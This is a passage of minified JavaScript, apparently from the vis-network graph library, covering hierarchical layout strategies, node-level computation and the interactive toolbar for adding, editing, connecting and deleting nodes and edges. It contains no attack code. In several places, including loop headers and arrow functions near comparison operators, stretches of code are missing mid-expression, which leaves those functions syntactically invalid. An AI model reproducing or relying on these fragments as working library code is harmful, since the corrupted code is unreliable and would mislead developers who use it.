this.fake_use(e),this.abstract()}sort(e){this.fake_use(e),this.abstract()}fix(e,t){this.fake_use(e,t),this.abstract()}shift(e,t){this.fake_use(e,t),this.abstract()}}class NK extends zw{constructor(e){super(),this.layout=e}curveType(){return"horizontal"}getPosition(e){return e.x}setPosition(e,t){let i=arguments.length>2&&arguments[2]!==void 0?arguments[2]:void 0;i!==void 0&&this.layout.hierarchical.addToOrdering(e,i),e.x=t}getTreeSize(e){const t=this.layout.hierarchical.getTreeSize(this.layout.body.nodes,e);return{min:t.min_x,max:t.max_x}}sort(e){xi(e).call(e,function(t,i){return t.x-i.x})}fix(e,t){e.y=this.layout.options.hierarchical.levelSeparation*t,e.options.fixed.y=!0}shift(e,t){this.layout.body.nodes[e].x+=t}}class DK extends zw{constructor(e){super(),this.layout=e}curveType(){return"vertical"}getPosition(e){return e.y}setPosition(e,t){let i=arguments.length>2&&arguments[2]!==void 0?arguments[2]:void 0;i!==void 0&&this.layout.hierarchical.addToOrdering(e,i),e.y=t}getTreeSize(e){const t=this.layout.hierarchical.getTreeSize(this.layout.body.nodes,e);return{min:t.min_y,max:t.max_y}}sort(e){xi(e).call(e,function(t,i){return t.y-i.y})}fix(e,t){e.x=this.layout.options.hierarchical.levelSeparation*t,e.options.fixed.x=!0}shift(e,t){this.layout.body.nodes[e].y+=t}}var zK=ue,RK=Wi.every,MK=VA,_K=MK("every");zK({target:"Array",proto:!0,forced:!_K},{every:function(e){return RK(this,e,arguments.length>1?arguments[1]:void 0)}});var kK=bt,ZK=kK("Array").every,BK=st,PK=ZK,Eu=Array.prototype,jK=function(n){var e=n.every;return n===Eu||BK(Eu,n)&&e===Eu.every?PK:e},LK=jK,GK=LK,FK=GK,Rw=ae(FK);function VK(n,e){const t=new qg;return De(n).call(n,i=>{var C;De(C=i.edges).call(C,o=>{o.connected&&t.add(o)})}),De(t).call(t,i=>{const C=i.from.id,o=i.to.id;e[C]==null&&(e[C]=0),(e[o]==null||e[C]>=e[o])&&(e[o]=e[C]+1)}),e}function YK(n){return Mw(e=>{var t,i;return Rw(t=wt(i=e.edges).call(i,C=>n.has(C.toId))).call(t,C=>C.to===e)},(e,t)=>t>e,"from",n)}function UK(n){return Mw(e=>{var t,i;return Rw(t=wt(i=e.edges).call(i,C=>n.has(C.toId))).call(t,C=>C.from===e)},(e,t)=>tp+1+m.edges.length,0),a=t+"Id",l=t==="to"?1:-1;for(const[p,m]of i){if(!i.has(p)||!n(m))continue;o[p]=0;const v=[m];let w=0,D;for(;D=v.pop();){var u,h;if(!i.has(p))continue;const N=o[D.id]+l;if(De(u=wt(h=D.edges).call(h,z=>z.connected&&z.to!==z.from&&z[t]!==D&&i.has(z.toId)&&i.has(z.fromId))).call(u,z=>{const k=z[a],Y=o[k];(Y==null||e(N,Y))&&(o[k]=N,v.push(z[t]))}),w>s)return VK(i,o);++w}}return o}class HK{constructor(){this.childrenReference={},this.parentReference={},this.trees={},this.distributionOrdering={},this.levels={},this.distributionIndex={},this.isTree=!1,this.treeIndex=-1}addRelation(e,t){this.childrenReference[e]===void 0&&(this.childrenReference[e]=[]),this.childrenReference[e].push(t),this.parentReference[t]===void 0&&(this.parentReference[t]=[]),this.parentReference[t].push(e)}checkIfTree(){for(const e in this.parentReference)if(this.parentReference[e].length>1){this.isTree=!1;return}this.isTree=!0}numTrees(){return this.treeIndex+1}setTreeIndex(e,t){t!==void 0&&this.trees[e.id]===void 0&&(this.trees[e.id]=t,this.treeIndex=Math.max(t,this.treeIndex))}ensureLevel(e){this.levels[e]===void 0&&(this.levels[e]=0)}getMaxLevel(e){const t={},i=C=>{if(t[C]!==void 0)return t[C];let o=this.levels[C];if(this.childrenReference[C]){const s=this.childrenReference[C];if(s.length>0)for(let a=0;ao-s);for(const o of C)t.set(o,i++);for(const o in this.levels)Object.prototype.hasOwnProperty.call(this.levels,o)&&(this.levels[o]=t.get(this.levels[o]))}getTreeSize(e,t){let i=1e9,C=-1e9,o=1e9,s=-1e9;for(const a in this.trees)if(Object.prototype.hasOwnProperty.call(this.trees,a)&&this.trees[a]===t){const l=e[a];i=Math.min(l.x,i),C=Math.max(l.x,C),o=Math.min(l.y,o),s=Math.max(l.y,s)}return{min_x:i,max_x:C,min_y:o,max_y:s}}hasSameParent(e,t){const i=this.parentReference[e.id],C=this.parentReference[t.id];if(i===void 0||C===void 0)return!1;for(let o=0;o{this.setupHierarchicalLayout()}),this.body.emitter.on("_dataLoaded",()=>{this.layoutNetwork()}),this.body.emitter.on("_resetHierarchicalLayout",()=>{this.setupHierarchicalLayout()}),this.body.emitter.on("_adjustEdgesForHierarchicalLayout",()=>{if(this.options.hierarchical.enabled!==!0)return;const e=this.direction.curveType();this.body.emitter.emit("_forceDisableDynamicCurves",e,!1)})}setOptions(e,t){if(e!==void 0){const i=this.options.hierarchical,C=i.enabled;if(JA(["randomSeed","improvedLayout","clusterThreshold"],this.options,e),zg(this.options,e,"hierarchical"),e.randomSeed!==void 0&&this._resetRNG(e.randomSeed),i.enabled===!0)return C===!0&&this.body.emitter.emit("refresh",!0),i.direction==="RL"||i.direction==="DU"?i.levelSeparation>0&&(i.levelSeparation*=-1):i.levelSeparation<0&&(i.levelSeparation*=-1),this.setDirectionStrategy(),this.body.emitter.emit("_resetHierarchicalLayout"),this.adaptAllOptionsForHierarchicalLayout(t);if(C===!0)return this.body.emitter.emit("refresh"),Xe(t,this.optionsBackup)}return t}_resetRNG(e){this.initialRandomSeed=e,this._rng=Hs(this.initialRandomSeed)}adaptAllOptionsForHierarchicalLayout(e){if(this.options.hierarchical.enabled===!0){const t=this.optionsBackup.physics;e.physics===void 0||e.physics===!0?(e.physics={enabled:t.enabled===void 0?!0:t.enabled,solver:"hierarchicalRepulsion"},t.enabled=t.enabled===void 0?!0:t.enabled,t.solver=t.solver||"barnesHut"):typeof e.physics=="object"?(t.enabled=e.physics.enabled===void 0?!0:e.physics.enabled,t.solver=e.physics.solver||"barnesHut",e.physics.solver="hierarchicalRepulsion"):e.physics!==!1&&(t.solver="barnesHut",e.physics={solver:"hierarchicalRepulsion"});let i=this.direction.curveType();if(e.edges===void 0)this.optionsBackup.edges={smooth:{enabled:!0,type:"dynamic"}},e.edges={smooth:!1};else if(e.edges.smooth===void 0)this.optionsBackup.edges={smooth:{enabled:!0,type:"dynamic"}},e.edges.smooth=!1;else if(typeof e.edges.smooth=="boolean")this.optionsBackup.edges={smooth:e.edges.smooth},e.edges.smooth={enabled:e.edges.smooth,type:i};else{const C=e.edges.smooth;C.type!==void 0&&C.type!=="dynamic"&&(i=C.type),this.optionsBackup.edges={smooth:{enabled:C.enabled===void 0?!0:C.enabled,type:C.type===void 0?"dynamic":C.type,roundness:C.roundness===void 0?.5:C.roundness,forceDirection:C.forceDirection===void 0?!1:C.forceDirection}},e.edges.smooth={enabled:C.enabled===void 0?!0:C.enabled,type:i,roundness:C.roundness===void 0?.5:C.roundness,forceDirection:C.forceDirection===void 0?!1:C.forceDirection}}this.body.emitter.emit("_forceDisableDynamicCurves",i)}return e}positionInitially(e){if(this.options.hierarchical.enabled!==!0){this._resetRNG(this.initialRandomSeed);const t=e.length+50;for(let i=0;io){const l=e.length;for(;e.length>o&&C<=10;){C+=1;const u=e.length;C%3===0?this.body.modules.clustering.clusterBridges(s):this.body.modules.clustering.clusterOutliers(s);const h=e.length;if(u==h&&C%3!==0){this._declusterAll(),this.body.emitter.emit("_layoutFailed"),console.info("This network could not be positioned by this version of the improved layout algorithm. Please disable improvedLayout for better performance.");return}}this.body.modules.kamadaKawai.setOptions({springLength:Math.max(150,2*l)})}C>10&&console.info("The clustering didn't succeed within the amount of interations allowed, progressing with partial result."),this.body.modules.kamadaKawai.solve(e,this.body.edgeIndices,!0),this._shiftToCenter();const a=70;for(let l=0;l0){let e,t,i=!1,C=!1;this.lastNodeOnLevel={},this.hierarchical=new HK;for(t in this.body.nodes)Object.prototype.hasOwnProperty.call(this.body.nodes,t)&&(e=this.body.nodes[t],e.options.level!==void 0?(i=!0,this.hierarchical.levels[t]=e.options.level):C=!0);if(C===!0&&i===!0)throw new Error("To use the hierarchical layout, nodes require either no predefined levels or levels have to be defined for all nodes.");{if(C===!0){const s=this.options.hierarchical.sortMethod;s==="hubsize"?this._determineLevelsByHubsize():s==="directed"?this._determineLevelsDirected():s==="custom"&&this._determineLevelsCustomCallback()}for(const s in this.body.nodes)Object.prototype.hasOwnProperty.call(this.body.nodes,s)&&this.hierarchical.ensureLevel(s);const o=this._getDistribution();this._generateMap(),this._placeNodesByHierarchy(o),this._condenseHierarchy(),this._shiftToCenter()}}}_condenseHierarchy(){var e=this;let t=!1;const i={},C=()=>{const z=s();let k=0;for(let Y=0;Y{const Y=this.hierarchical.trees;for(const j in Y)Object.prototype.hasOwnProperty.call(Y,j)&&Y[j]===z&&this.direction.shift(j,k)},s=()=>{const z=[];for(let k=0;k{if(!k[z.id]&&(k[z.id]=!0,this.hierarchical.childrenReference[z.id])){const Y=this.hierarchical.childrenReference[z.id];if(Y.length>0)for(let j=0;j1&&arguments[1]!==void 0?arguments[1]:1e9,Y=1e9,j=1e9,K=1e9,Ae=-1e9;for(const q in z)if(Object.prototype.hasOwnProperty.call(z,q)){const re=e.body.nodes[q],ze=e.hierarchical.levels[re.id],Ge=e.direction.getPosition(re),[ie,fe]=e._getSpaceAroundNode(re,z);Y=Math.min(ie,Y),j=Math.min(fe,j),ze<=k&&(K=Math.min(Ge,K),Ae=Math.max(Ge,Ae))}return[K,Ae,Y,j]},u=(z,k)=>{const Y=this.hierarchical.getMaxLevel(z.id),j=this.hierarchical.getMaxLevel(k.id);return Math.min(Y,j)},h=(z,k,Y)=>{const j=this.hierarchical;for(let K=0;K1)for(let re=0;re2&&arguments[2]!==void 0?arguments[2]:!1;const j=e.direction.getPosition(z),K=e.direction.getPosition(k),Ae=Math.abs(K-j),q=e.options.hierarchical.nodeSpacing;if(Ae>q){const re={},ze={};a(z,re),a(k,ze);const Ge=u(z,k),ie=l(re,Ge),fe=l(ze,Ge),Rt=ie[1],$e=fe[0],J=fe[2];if(Math.abs(Rt-$e)>q){let L=Rt-$e+q;L<-J+q&&(L=-J+q),L<0&&(e._shiftBlock(k.id,L),t=!0,Y===!0&&e._centerParent(k))}}},m=(z,k)=>{const Y=k.id,j=k.edges,K=this.hierarchical.levels[k.id],Ae=this.options.hierarchical.levelSeparation*this.options.hierarchical.levelSeparation,q={},re=[];for(let J=0;J{let L=0;for(let ee=0;ee{let L=0;for(let ee=0;ee{let L=this.direction.getPosition(k);const ee={};for(let de=0;de{const O=this.direction.getPosition(k);if(i[k.id]===void 0){const R={};a(k,R),i[k.id]=R}const L=l(i[k.id]),ee=L[2],de=L[3],me=J-O;let b=0;me>0?b=Math.min(me,de-this.options.hierarchical.nodeSpacing):me<0&&(b=-Math.min(-me,ee-this.options.hierarchical.nodeSpacing)),b!=0&&(this._shiftBlock(k.id,b),t=!0)},Rt=J=>{const O=this.direction.getPosition(k),[L,ee]=this._getSpaceAroundNode(k),de=J-O;let me=O;de>0?me=Math.min(O+(ee-this.options.hierarchical.nodeSpacing),J):de<0&&(me=Math.max(O-(L-this.options.hierarchical.nodeSpacing),J)),me!==O&&(this.direction.setPosition(k,me),t=!0)};let $e=ie(z,re);fe($e),$e=ie(z,j),Rt($e)},v=z=>{let k=this.hierarchical.getLevels();k=Un(k).call(k);for(let Y=0;Y{let k=this.hierarchical.getLevels();k=Un(k).call(k);for(let Y=0;Y{for(const z in this.body.nodes)Object.prototype.hasOwnProperty.call(this.body.nodes,z)&&this._centerParent(this.body.nodes[z])},N=()=>{let z=this.hierarchical.getLevels();z=Un(z).call(z);for(let k=0;k0&&Math.abs(p)0&&(u=this.direction.getPosition(C[s-1])+l),this.direction.setPosition(a,u,i),this._validatePositionAndContinue(a,i,u),o++}}}}_placeBranchNodes(e,t){var i;const C=this.hierarchical.childrenReference[e];if(C===void 0)return;const o=[];for(let a=0;at&&this.positionedNodes[l.id]===void 0){const h=this.options.hierarchical.nodeSpacing;let p;a===0?p=this.direction.getPosition(this.body.nodes[e]):p=this.direction.getPosition(o[a-1])+h,this.direction.setPosition(l,p,u),this._validatePositionAndContinue(l,u,p)}else return}const s=this._getCenterPosition(o);this.direction.setPosition(this.body.nodes[e],s,t)}_validatePositionAndContinue(e,t,i){if(this.hierarchical.isTree){if(this.lastNodeOnLevel[t]!==void 0){const C=this.direction.getPosition(this.body.nodes[this.lastNodeOnLevel[t]]);if(i-C{var C;Le(C=this.body.edgeIndices).call(C,i.id)!==-1&&t.push(i)}),t}_getHubSizes(){const e={},t=this.body.nodeIndices;Ee(t,C=>{const o=this.body.nodes[C],s=this._getActiveEdges(o).length;e[s]=!0});const i=[];return Ee(e,C=>{i.push(Number(C))}),xi(i).call(i,function(C,o){return o-C}),i}_determineLevelsByHubsize(){const e=(i,C)=>{this.hierarchical.levelDownstream(i,C)},t=this._getHubSizes();for(let i=0;i{const s=this.body.nodes[o];C===this._getActiveEdges(s).length&&this._crawlNetwork(e,o)})}}_determineLevelsCustomCallback(){const t=function(C,o,s){},i=(C,o,s)=>{let a=this.hierarchical.levels[C.id];a===void 0&&(a=this.hierarchical.levels[C.id]=1e5);const l=t(Jt.cloneOptions(C,"node"),Jt.cloneOptions(o,"node"),Jt.cloneOptions(s,"edge"));this.hierarchical.levels[o.id]=a+l};this._crawlNetwork(i),this.hierarchical.setMinLevelToZero()}_determineLevelsDirected(){var e;const t=Iu(e=this.body.nodeIndices).call(e,(i,C)=>(i.set(C,this.body.nodes[C]),i),new YI);this.options.hierarchical.shakeTowards==="roots"?this.hierarchical.levels=UK(t):this.hierarchical.levels=YK(t),this.hierarchical.setMinLevelToZero()}_generateMap(){const e=(t,i)=>{this.hierarchical.levels[i.id]>this.hierarchical.levels[t.id]&&this.hierarchical.addRelation(t.id,i.id)};this._crawlNetwork(e),this.hierarchical.checkIfTree()}_crawlNetwork(){let e=arguments.length>0&&arguments[0]!==void 0?arguments[0]:function(){},t=arguments.length>1?arguments[1]:void 0;const i={},C=(o,s)=>{if(i[o.id]===void 0){this.hierarchical.setTreeIndex(o,s),i[o.id]=!0;let a;const l=this._getActiveEdges(o);for(let u=0;u{if(i[o])return;i[o]=!0,this.direction.shift(o,t);const s=this.hierarchical.childrenReference[o];if(s!==void 0)for(let a=0;a{const l=this.hierarchical.parentReference[a];if(l!==void 0)for(let u=0;u{const l=this.hierarchical.parentReference[a];if(l!==void 0)for(let u=0;u{this._clean()}),this.body.emitter.on("_dataChanged",X(o=this._restore).call(o,this)),this.body.emitter.on("_resetData",X(s=this._restore).call(s,this))}_restore(){this.inMode!==!1&&(this.options.initiallyActive===!0?this.enableEditMode():this.disableEditMode())}setOptions(e,t,i){t!==void 0&&(t.locale!==void 0?this.options.locale=t.locale:this.options.locale=i.locale,t.locales!==void 0?this.options.locales=t.locales:this.options.locales=i.locales),e!==void 0&&(typeof e=="boolean"?this.options.enabled=e:(this.options.enabled=!0,We(this.options,e)),this.options.initiallyActive===!0&&(this.editMode=!0),this._setup())}toggleEditMode(){this.editMode===!0?this.disableEditMode():this.enableEditMode()}enableEditMode(){this.editMode=!0,this._clean(),this.guiEnabled===!0&&(this.manipulationDiv.style.display="block",this.closeDiv.style.display="block",this.editModeDiv.style.display="none",this.showManipulatorToolbar())}disableEditMode(){this.editMode=!1,this._clean(),this.guiEnabled===!0&&(this.manipulationDiv.style.display="none",this.closeDiv.style.display="none",this.editModeDiv.style.display="block",this._createEditButton())}showManipulatorToolbar(){if(this._clean(),this.manipulationDOM={},this.guiEnabled===!0){var e,t;this.editMode=!0,this.manipulationDiv.style.display="block",this.closeDiv.style.display="block";const i=this.selectionHandler.getSelectedNodeCount(),C=this.selectionHandler.getSelectedEdgeCount(),o=i+C,s=this.options.locales[this.options.locale];let a=!1;this.options.addNode!==!1&&(this._createAddNodeButton(s),a=!0),this.options.addEdge!==!1&&(a===!0?this._createSeperator(1):a=!0,this._createAddEdgeButton(s)),i===1&&typeof this.options.editNode=="function"?(a===!0?this._createSeperator(2):a=!0,this._createEditNodeButton(s)):C===1&&i===0&&this.options.editEdge!==!1&&(a===!0?this._createSeperator(3):a=!0,this._createEditEdgeButton(s)),o!==0&&(i>0&&this.options.deleteNode!==!1?(a===!0&&this._createSeperator(4),this._createDeleteButton(s)):i===0&&this.options.deleteEdge!==!1&&(a===!0&&this._createSeperator(4),this._createDeleteButton(s))),this._bindElementEvents(this.closeDiv,X(e=this.toggleEditMode).call(e,this)),this._temporaryBindEvent("select",X(t=this.showManipulatorToolbar).call(t,this))}this.body.emitter.emit("_redraw")}addNodeMode(){var e;if(this.editMode!==!0&&this.enableEditMode(),this._clean(),this.inMode="addNode",this.guiEnabled===!0){var t;const i=this.options.locales[this.options.locale];this.manipulationDOM={},this._createBackButton(i),this._createSeperator(),this._createDescription(i.addDescription||this.options.locales.en.addDescription),this._bindElementEvents(this.closeDiv,X(t=this.toggleEditMode).call(t,this))}this._temporaryBindEvent("click",X(e=this._performAddNode).call(e,this))}editNode(){this.editMode!==!0&&this.enableEditMode(),this._clean();const e=this.selectionHandler.getSelectedNodes()[0];if(e!==void 0)if(this.inMode="editNode",typeof this.options.editNode=="function")if(e.isCluster!==!0){const t=We({},e.options,!1);if(t.x=e.x,t.y=e.y,this.options.editNode.length===2)this.options.editNode(t,i=>{i!=null&&this.inMode==="editNode"&&this.body.data.nodes.getDataSet().update(i),this.showManipulatorToolbar()});else throw new Error("The function for edit does not support two arguments (data, callback)")}else alert(this.options.locales[this.options.locale].editClusterError||this.options.locales.en.editClusterError);else throw new Error("No function has been configured to handle the editing of nodes.");else this.showManipulatorToolbar()}addEdgeMode(){var e,t,i,C,o;if(this.editMode!==!0&&this.enableEditMode(),this._clean(),this.inMode="addEdge",this.guiEnabled===!0){var s;const a=this.options.locales[this.options.locale];this.manipulationDOM={},this._createBackButton(a),this._createSeperator(),this._createDescription(a.edgeDescription||this.options.locales.en.edgeDescription),this._bindElementEvents(this.closeDiv,X(s=this.toggleEditMode).call(s,this))}this._temporaryBindUI("onTouch",X(e=this._handleConnect).call(e,this)),this._temporaryBindUI("onDragEnd",X(t=this._finishConnect).call(t,this)),this._temporaryBindUI("onDrag",X(i=this._dragControlNode).call(i,this)),this._temporaryBindUI("onRelease",X(C=this._finishConnect).call(C,this)),this._temporaryBindUI("onDragStart",X(o=this._dragStartEdge).call(o,this)),this._temporaryBindUI("onHold",()=>{})}editEdgeMode(){if(this.editMode!==!0&&this.enableEditMode(),this._clean(),this.inMode="editEdge",typeof this.options.editEdge=="object"&&typeof this.options.editEdge.editWithoutDrag=="function"&&(this.edgeBeingEditedId=this.selectionHandler.getSelectedEdgeIds()[0],this.edgeBeingEditedId!==void 0)){const s=this.body.edges[this.edgeBeingEditedId];this._performEditEdge(s.from.id,s.to.id);return}if(this.guiEnabled===!0){var e;const s=this.options.locales[this.options.locale];this.manipulationDOM={},this._createBackButton(s),this._createSeperator(),this._createDescription(s.editEdgeDescription||this.options.locales.en.editEdgeDescription),this._bindElementEvents(this.closeDiv,X(e=this.toggleEditMode).call(e,this))}if(this.edgeBeingEditedId=this.selectionHandler.getSelectedEdgeIds()[0],this.edgeBeingEditedId!==void 0){var t,i,C,o;const s=this.body.edges[this.edgeBeingEditedId],a=this._getNewTargetNode(s.from.x,s.from.y),l=this._getNewTargetNode(s.to.x,s.to.y);this.temporaryIds.nodes.push(a.id),this.temporaryIds.nodes.push(l.id),this.body.nodes[a.id]=a,this.body.nodeIndices.push(a.id),this.body.nodes[l.id]=l,this.body.nodeIndices.push(l.id),this._temporaryBindUI("onTouch",X(t=this._controlNodeTouch).call(t,this)),this._temporaryBindUI("onTap",()=>{}),this._temporaryBindUI("onHold",()=>{}),this._temporaryBindUI("onDragStart",X(i=this._controlNodeDragStart).call(i,this)),this._temporaryBindUI("onDrag",X(C=this._controlNodeDrag).call(C,this)),this._temporaryBindUI("onDragEnd",X(o=this._controlNodeDragEnd).call(o,this)),this._temporaryBindUI("onMouseMove",()=>{}),this._temporaryBindEvent("beforeDrawing",u=>{const h=s.edgeType.findBorderPositions(u);a.selected===!1&&(a.x=h.from.x,a.y=h.from.y),l.selected===!1&&(l.x=h.to.x,l.y=h.to.y)}),this.body.emitter.emit("_redraw")}else this.showManipulatorToolbar()}deleteSelected(){this.editMode!==!0&&this.enableEditMode(),this._clean(),this.inMode="delete";const e=this.selectionHandler.getSelectedNodeIds(),t=this.selectionHandler.getSelectedEdgeIds();let i;if(e.length>0){for(let C=0;C0&&typeof this.options.deleteEdge=="function"&&(i=this.options.deleteEdge);if(typeof i=="function"){const C={nodes:e,edges:t};if(i.length===2)i(C,o=>{o!=null&&this.inMode==="delete"?(this.body.data.edges.getDataSet().remove(o.edges),this.body.data.nodes.getDataSet().remove(o.nodes),this.body.emitter.emit("startSimulation"),this.showManipulatorToolbar()):(this.body.emitter.emit("startSimulation"),this.showManipulatorToolbar())});else throw new Error("The function for delete does not support two arguments (data, callback)")}else this.body.data.edges.getDataSet().remove(t),this.body.data.nodes.getDataSet().remove(e),this.body.emitter.emit("startSimulation"),this.showManipulatorToolbar()}_setup(){this.options.enabled===!0?(this.guiEnabled=!0,this._createWrappers(),this.editMode===!1?this._createEditButton():this.showManipulatorToolbar()):(this._removeManipulationDOM(),this.guiEnabled=!1)}_createWrappers(){if(this.manipulationDiv===void 0&&(this.manipulationDiv=document.createElement("div"),this.manipulationDiv.className="vis-manipulation",this.editMode===!0?this.manipulationDiv.style.display="block":this.manipulationDiv.style.display="none",this.canvas.frame.appendChild(this.manipulationDiv)),this.editModeDiv===void 0&&(this.editModeDiv=document.createElement("div"),this.editModeDiv.className="vis-edit-mode",this.editMode===!0?this.editModeDiv.style.display="none":this.editModeDiv.style.display="block",this.canvas.frame.appendChild(this.editModeDiv)),this.closeDiv===void 0){var e,t;this.closeDiv=document.createElement("button"),this.closeDiv.className="vis-close",this.closeDiv.setAttribute("aria-label",(e=(t=this.options.locales[this.options.locale])===null||t===void 0?void 0:t.close)!==null&&e!==void 0?e:this.options.locales.en.close),this.closeDiv.style.display=this.manipulationDiv.style.display,this.canvas.frame.appendChild(this.closeDiv)}}_getNewTargetNode(e,t){const i=We({},this.options.controlNodeStyle);i.id="targetNode"+nC(),i.hidden=!1,i.physics=!1,i.x=e,i.y=t;const C=this.body.functions.createNode(i);return C.shape.boundingBox={left:e,right:e,top:t,bottom:t},C}_createEditButton(){var e;this._clean(),this.manipulationDOM={},tn(this.editModeDiv);const t=this.options.locales[this.options.locale],i=this._createButton("editMode","vis-edit vis-edit-mode",t.edit||this.options.locales.en.edit);this.editModeDiv.appendChild(i),this._bindElementEvents(i,X(e=this.toggleEditMode).call(e,this))}_clean(){this.inMode=!1,this.guiEnabled===!0&&(tn(this.editModeDiv),tn(this.manipulationDiv),this._cleanupDOMEventListeners()),this._cleanupTemporaryNodesAndEdges(),this._unbindTemporaryUIs(),this._unbindTemporaryEvents(),this.body.emitter.emit("restorePhysics")}_cleanupDOMEventListeners(){for(const t of ni(e=this._domEventListenerCleanupQueue).call(e,0)){var e;t()}}_removeManipulationDOM(){this._clean(),tn(this.manipulationDiv),tn(this.editModeDiv),tn(this.closeDiv),this.manipulationDiv&&this.canvas.frame.removeChild(this.manipulationDiv),this.editModeDiv&&this.canvas.frame.removeChild(this.editModeDiv),this.closeDiv&&this.canvas.frame.removeChild(this.closeDiv),this.manipulationDiv=void 0,this.editModeDiv=void 0,this.closeDiv=void 0}_createSeperator(){let e=arguments.length>0&&arguments[0]!==void 0?arguments[0]:1;this.manipulationDOM["seperatorLineDiv"+e]=document.createElement("div"),this.manipulationDOM["seperatorLineDiv"+e].className="vis-separator-line",this.manipulationDiv.appendChild(this.manipulationDOM["seperatorLineDiv"+e])}_createAddNodeButton(e){var t;const i=this._createButton("addNode","vis-add",e.addNode||this.options.locales.en.addNode);this.manipulationDiv.appendChild(i),this._bindElementEvents(i,X(t=this.addNodeMode).call(t,this))}_createAddEdgeButton(e){var t;const i=this._createButton("addEdge","vis-connect",e.addEdge||this.options.locales.en.addEdge);this.manipulationDiv.appendChild(i),this._bindElementEvents(i,X(t=this.addEdgeMode).call(t,this))}_createEditNodeButton(e){var t;const i=this._createButton("editNode","vis-edit",e.editNode||this.options.locales.en.editNode);this.manipulationDiv.appendChild(i),this._bindElementEvents(i,X(t=this.editNode).call(t,this))}_createEditEdgeButton(e){var t;const i=this._createButton("editEdge","vis-edit",e.editEdge||this.options.locales.en.editEdge);this.manipulationDiv.appendChild(i),this._bindElementEvents(i,X(t=this.editEdgeMode).call(t,this))}_createDeleteButton(e){var t;let i;this.options.rtl?i="vis-delete-rtl":i="vis-delete";const C=this._createButton("delete",i,e.del||this.options.locales.en.del);this.manipulationDiv.appendChild(C),this._bindElementEvents(C,X(t=this.deleteSelected).call(t,this))}_createBackButton(e){var t;const i=this._createButton("back","vis-back",e.back||this.options.locales.en.back);this.manipulationDiv.appendChild(i),this._bindElementEvents(i,X(t=this.showManipulatorToolbar).call(t,this))}_createButton(e,t,i){let C=arguments.length>3&&arguments[3]!==void 0?arguments[3]:"vis-label";return this.manipulationDOM[e+"Div"]=document.createElement("button"),this.manipulationDOM[e+"Div"].className="vis-button "+t,this.manipulationDOM[e+"Label"]=document.createElement("div"),this.manipulationDOM[e+"Label"].className=C,this.manipulationDOM[e+"Label"].innerText=i,this.manipulationDOM[e+"Div"].appendChild(this.manipulationDOM[e+"Label"]),this.manipulationDOM[e+"Div"]}_createDescription(e){this.manipulationDOM.descriptionLabel=document.createElement("div"),this.manipulationDOM.descriptionLabel.className="vis-none",this.manipulationDOM.descriptionLabel.innerText=e,this.manipulationDiv.appendChild(this.manipulationDOM.descriptionLabel)}_temporaryBindEvent(e,t){this.temporaryEventFunctions.push({event:e,boundFunction:t}),this.body.emitter.on(e,t)}_temporaryBindUI(e,t){if(this.body.eventListeners[e]!==void 0)this.temporaryUIFunctions[e]=this.body.eventListeners[e],this.body.eventListeners[e]=t;else throw new Error("This UI function does not exist. Typo? You tried: "+e+" possible are: "+YA($e(this.body.eventListeners)))}_unbindTemporaryUIs(){for(const e in this.temporaryUIFunctions)Object.prototype.hasOwnProperty.call(this.temporaryUIFunctions,e)&&(this.body.eventListeners[e]=this.temporaryUIFunctions[e],delete this.temporaryUIFunctions[e]);this.temporaryUIFunctions={}}_unbindTemporaryEvents(){for(let e=0;e{i.destroy()});const C=o=>{let{keyCode:s,key:a}=o;(a==="Enter"||a===" "||s===13||s===32)&&t()};e.addEventListener("keyup",C,!1),this._domEventListenerCleanupQueue.push(()=>{e.removeEventListener("keyup",C,!1)})}_cleanupTemporaryNodesAndEdges(){for(let o=0;o=0;a--)if(o[a]!==this.selectedControlNode.id){s=this.body.nodes[o[a]];break}if(s!==void 0&&this.selectedControlNode!==void 0)if(s.isCluster===!0)alert(this.options.locales[this.options.locale].createEdgeError||this.options.locales.en.createEdgeError);else{const a=this.body.nodes[this.temporaryIds.nodes[0]];this.selectedControlNode.id===a.id?this._performEditEdge(s.id,C.to.id):this._performEditEdge(C.from.id,s.id)}else C.updateEdgeType(),this.body.emitter.emit("restorePhysics");this.body.emitter.emit("_redraw")}_handleConnect(e){if(new Date().valueOf()-this.touchTime>100){this.lastTouch=this.body.functions.getPointer(e.center),this.lastTouch.translation=ht({},this.body.view.translation),this.interactionHandler.drag.pointer=this.lastTouch,this.interactionHandler.drag.translation=this.lastTouch.translation;const t=this.lastTouch,i=this.selectionHandler.getNodeAt(t);if(i!==void 0)if(i.isCluster===!0)alert(this.options.locales[this.options.locale].createEdgeError||this.options.locales.en.createEdgeError);else{const C=this._getNewTargetNode(i.x,i.y);this.body.nodes[C.id]=C,this.body.nodeIndices.push(C.id);const o=this.body.functions.createEdge({id:"connectionEdge"+nC(),from:i.id,to:C.id,physics:!1,smooth:{enabled:!0,type:"continuous",roundness:.5}});this.body.edges[o.id]=o,this.body.edgeIndices.push(o.id),this.temporaryIds.nodes.push(C.id),this.temporaryIds.edges.push(o.id)}this.touchTime=new Date().valueOf()}}_dragControlNode(e){const t=this.body.functions.getPointer(e.center),i=this.selectionHandler._pointerToPositionObject(t);let C;this.temporaryIds.edges[0]!==void 0&&(C=this.body.edges[this.temporaryIds.edges[0]].fromId);const o=this.selectionHandler._getAllNodesOverlappingWith(i);let s;for(let l=o.length-1;l>=0;l--){var a;if(Ge(a=this.temporaryIds.nodes).call(a,o[l])===-1){s=this.body.nodes[o[l]];break}}if(e.controlEdge={from:C,to:s?s.id:void 0},this.selectionHandler.generateClickEvent("controlNodeDragging",e,t),this.temporaryIds.nodes[0]!==void 0){const l=this.body.nodes[this.temporaryIds.nodes[0]];l.x=this.canvas._XconvertDOMtoCanvas(t.x),l.y=this.canvas._YconvertDOMtoCanvas(t.y),this.body.emitter.emit("_redraw")}else this.interactionHandler.onDrag(e)}_finishConnect(e){const t=this.body.functions.getPointer(e.center),i=this.selectionHandler._pointerToPositionObject(t);let C;this.temporaryIds.edges[0]!==void 0&&(C=this.body.edges[this.temporaryIds.edges[0]].fromId);const o=this.selectionHandler._getAllNodesOverlappingWith(i);let s;for(let l=o.length-1;l>=0;l--){var a;if(Ge(a=this.temporaryIds.nodes).call(a,o[l])===-1){s=this.body.nodes[o[l]];break}}this._cleanupTemporaryNodesAndEdges(),s!==void 0&&(s.isCluster===!0?alert(this.options.locales[this.options.locale].createEdgeError||this.options.locales.en.createEdgeError):this.body.nodes[C]!==void 0&&this.body.nodes[s.id]!==void 0&&this._performAddEdge(C,s.id)),e.controlEdge={from:C,to:s?s.id:void 0},this.selectionHandler.generateClickEvent("controlNodeDragEnd",e,t),this.body.emitter.emit("_redraw")}_dragStartEdge(e){const 